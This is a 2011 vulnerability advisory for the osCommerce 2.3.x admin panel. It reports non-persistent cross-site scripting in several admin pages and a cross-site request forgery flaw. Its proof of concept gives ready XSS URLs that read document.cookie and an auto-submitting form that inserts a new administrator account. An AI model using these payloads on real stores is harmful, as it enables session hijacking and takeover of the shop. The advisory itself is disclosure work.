Document Title:
===============
osCommerce v2.3.x - Multiple Cross Site Vulnerabilities
Release Date:
=============
2011-07-31
Vulnerability Laboratory ID (VL-ID):
====================================
241
Product & Service Introduction:
===============================
osCommerce has attracted a large growing e-commerce community that consists of
over 224,600 store owners and developers who support each other and extend
osCommerce Online Merchant with add-ons being contributed on a daily basis.
To date there are over 5,700 add-ons that are available for free to customize
osCommerce Online Merchant online stores and to help increase sales.
osCommerce Online Merchant is an Open Source online shop e-commerce solution
that is available for free under the GNU General Public License. It features
a rich set of out-of-the-box online shopping cart functionality that allows
store owners to setup, run, and maintain online stores with minimum effort and
with no costs, fees, or limitations involved.
With over 8 years of operation, osCommerce has built a showcase of over 12,700
online shops that have been voluntarily added to the live shops section, and
powers many thousands of more online shops worldwide.
Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered multiple Vulnerabilities on osCommerce.
Vulnerability Disclosure Timeline:
==================================
2011-08-02: Vendor Notification
2011-00-00: Vendor Response/Feedback
2011-00-00: Vendor Fix/Patch
2011-00-00: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Low
Technical Details & Description:
================================
1.1
Multiple non-persistent Cross-Site Scripting are detected on the administrationpanel of osCommerce CMS.
Attackers can force manipulated client side requests via user inter action to hijack admin & customer sessions.
Vulnerable Module(s):
[+] ?page=
[+] ?selected_box=
[+] orders_status
Pictures:
../osc1.png
1.2
A client-side Cross Site Request Forgery vulnerability is detected on the administrationpanel of osCommerce CMS.
Vulnerable Module(s):
[+] Administrator
Pictures:
../osc2.png
Proof of Concept (PoC):
=======================
The Vulnerabilities can be exploited by remote attacker with required user inter action. For demonstration or reproduce ...
1.1 Vulnerable Parameter (non-persistent) ...
Admin-Area
http://xxx.com/oscommerce/admin/currencies.php?page=%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3Cdiv%20style=%221
http://xxx.com/oscommerce/admin/countries.php?page=1%27%22%3Ch1%3Eblob
http://xxx.com/oscommerce/admin/customers.php?selected_box=%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3Cdiv%20style=%221
http://xxx.com/oscommerce/admin/orders_status.php?page=%3E%22%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3Cdiv%20style=%221
1.2 Cross-Site Request Forgery (non-persistent) ...
<html>
<title>Administrator Remote Exploit</title>
<body onLoad=javascript:document.xsrf.submit()>
<form action="http://demo.opensourcecms.com/oscommerce/admin/administrators.php?action=insert" method="post" name="xsrf">
<input type="hidden" name="username" value="GlobalEvolution">
<input type="hidden" name="password" value="Smash@GE">
<input type="hidden" id="x" value="54">
<input type="hidden" id="y" value="5">
</form></body></html>
Security Risk:
==============
The security risk of both client side vulnerabilities are estimated as low.
Credits & Authors:
==================
Vulnerability Research Laboratory
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=========================
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